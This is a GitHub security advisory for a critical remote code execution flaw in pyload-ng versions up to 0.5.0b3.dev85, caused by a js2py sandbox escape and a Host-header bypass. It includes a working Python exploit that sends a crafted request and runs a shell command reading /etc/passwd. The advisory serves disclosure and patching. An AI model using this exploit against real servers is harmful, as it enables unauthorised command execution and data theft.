GHSA-r9pp-r4xf-597r

Suggest an improvement
Source
https://github.com/advisories/GHSA-r9pp-r4xf-597r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-r9pp-r4xf-597r/GHSA-r9pp-r4xf-597r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-r9pp-r4xf-597r
Published
2024-09-09T18:17:20Z
Modified
2024-09-09T18:24:20.009350Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
pyload-ng vulnerable to RCE with js2py sandbox escape
Details

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

References

Affected packages

PyPI / pyload-ng

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.5.0b3.dev85

Affected versions

0.*

0.5.0a5.dev528
0.5.0a5.dev532
0.5.0a5.dev535
0.5.0a5.dev536
0.5.0a5.dev537
0.5.0a5.dev539
0.5.0a5.dev540
0.5.0a5.dev545
0.5.0a5.dev562
0.5.0a5.dev564
0.5.0a5.dev565
0.5.0a6.dev570
0.5.0a6.dev578
0.5.0a6.dev587
0.5.0a7.dev596
0.5.0a8.dev602
0.5.0a9.dev615
0.5.0a9.dev629
0.5.0a9.dev632
0.5.0a9.dev641
0.5.0a9.dev643
0.5.0a9.dev655
0.5.0a9.dev806
0.5.0b1.dev1
0.5.0b1.dev2
0.5.0b1.dev3
0.5.0b1.dev4
0.5.0b1.dev5
0.5.0b2.dev9
0.5.0b2.dev10
0.5.0b2.dev11
0.5.0b2.dev12
0.5.0b3.dev13
0.5.0b3.dev14
0.5.0b3.dev17
0.5.0b3.dev18
0.5.0b3.dev19
0.5.0b3.dev20
0.5.0b3.dev21
0.5.0b3.dev22
0.5.0b3.dev24
0.5.0b3.dev26
0.5.0b3.dev27
0.5.0b3.dev28
0.5.0b3.dev29
0.5.0b3.dev30
0.5.0b3.dev31
0.5.0b3.dev32
0.5.0b3.dev33
0.5.0b3.dev34
0.5.0b3.dev35
0.5.0b3.dev38
0.5.0b3.dev39
0.5.0b3.dev40
0.5.0b3.dev41
0.5.0b3.dev42
0.5.0b3.dev43
0.5.0b3.dev44
0.5.0b3.dev45
0.5.0b3.dev46
0.5.0b3.dev47
0.5.0b3.dev48
0.5.0b3.dev49
0.5.0b3.dev50
0.5.0b3.dev51
0.5.0b3.dev52
0.5.0b3.dev53
0.5.0b3.dev54
0.5.0b3.dev57
0.5.0b3.dev60
0.5.0b3.dev62
0.5.0b3.dev64
0.5.0b3.dev65
0.5.0b3.dev66
0.5.0b3.dev67
0.5.0b3.dev68
0.5.0b3.dev69
0.5.0b3.dev70
0.5.0b3.dev71
0.5.0b3.dev72
0.5.0b3.dev73
0.5.0b3.dev74
0.5.0b3.dev75
0.5.0b3.dev76
0.5.0b3.dev77
0.5.0b3.dev78
0.5.0b3.dev79
0.5.0b3.dev80
0.5.0b3.dev81
0.5.0b3.dev82
0.5.0b3.dev85